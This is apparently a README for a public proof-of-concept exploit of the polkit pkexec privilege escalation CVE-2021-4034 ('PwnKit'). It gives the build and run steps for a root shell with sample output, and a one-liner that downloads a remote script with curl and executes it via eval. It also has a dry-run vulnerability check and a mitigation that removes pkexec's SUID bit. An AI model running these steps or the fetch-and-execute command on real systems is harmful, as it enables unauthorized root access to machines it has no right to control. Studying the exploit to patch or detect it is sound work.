CVE-2021-4034

# CVE-2021-4034 One day for the polkit privilege escalation exploit Just execute `make`, `./cve-2021-4034` and enjoy your root shell. The original advisory by the real authors is [here](https://www.qualys.com/2022/01/25/cve-2021-4034/pwnkit.txt) ## PoC If the exploit is working you'll get a root shell immediately: ```bash vagrant@ubuntu-impish:~/CVE-2021-4034$ make cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules mkdir -p GCONV_PATH=. cp /usr/bin/true GCONV_PATH=./pwnkit.so:. vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034 # whoami root # exit ``` Updating polkit on most systems will patch the exploit, therefore you'll get the usage and the program will exit: ```bash vagrant@ubuntu-impish:~/CVE-2021-4034$ ./cve-2021-4034 pkexec --version | --help | --disable-internal-agent | [--user username] PROGRAM [ARGUMENTS...] See the pkexec manual page for more details. vagrant@ubuntu-impish:~/CVE-2021-4034$ ``` ## Dry Run To not execute a shell but just test if the system is vulnerable compile the `dry-run` target. If the program exit printing "root" it means that your system is vulnerable to the exploit. ```bash vagrant@ubuntu-impish:~/CVE-2021-4034$ make dry-run ... vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034 root vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $? 1 ``` If your system is not vulnerable it prints an error and exit. ```bash vagrant@ubuntu-impish:~/CVE-2021-4034$ dry-run/dry-run-cve-2021-4034 pkexec --version | --help | --disable-internal-agent | [--user username] PROGRAM [ARGUMENTS...] See the pkexec manual page for more details. vagrant@ubuntu-impish:~/CVE-2021-4034$ echo $? 0 ``` ## About Polkit pkexec for Linux Polkit (formerly PolicyKit) is a component for controlling system-wide privileges in Unix-like operating systems. It provides an organized way for non-privileged processes to communicate with privileged processes. It is also possible to use polkit to execute commands with elevated privileges using the command pkexec followed by the command intended to be executed (with root permission). # One-liner commands You can easily exploit the system using a single script, downloadable and executable with this command: ```sh eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)" ``` ```bash vagrant@ubuntu-impish:~/CVE-2021-4034$ whoami vagrant vagrant@ubuntu-impish:~/CVE-2021-4034$ eval "$(curl -s https://raw.githubusercontent.com/berdav/CVE-2021-4034/main/cve-2021-4034.sh)" cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c cc -Wall cve-2021-4034.c -o cve-2021-4034 echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules mkdir -p GCONV_PATH=. cp -f /usr/bin/true GCONV_PATH=./pwnkit.so:. # whoami root ``` # Mitigation If no patches are available for your operating system, you can remove the SUID-bit from pkexec as a temporary mitigation. ```bash # chmod 0755 /usr/bin/pkexec ``` The exploit then will fail complaining that `pkexec` must have the setuid bit enabled. ```bash vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ sudo chmod 0755 /usr/bin/pkexec vagrant@ubuntu-impish:/vagrant/CVE-2021-4034$ ./cve-2021-4034 GLib: Cannot convert message: Could not open converter from “UTF-8” to “PWNKIT” pkexec must be setuid root ```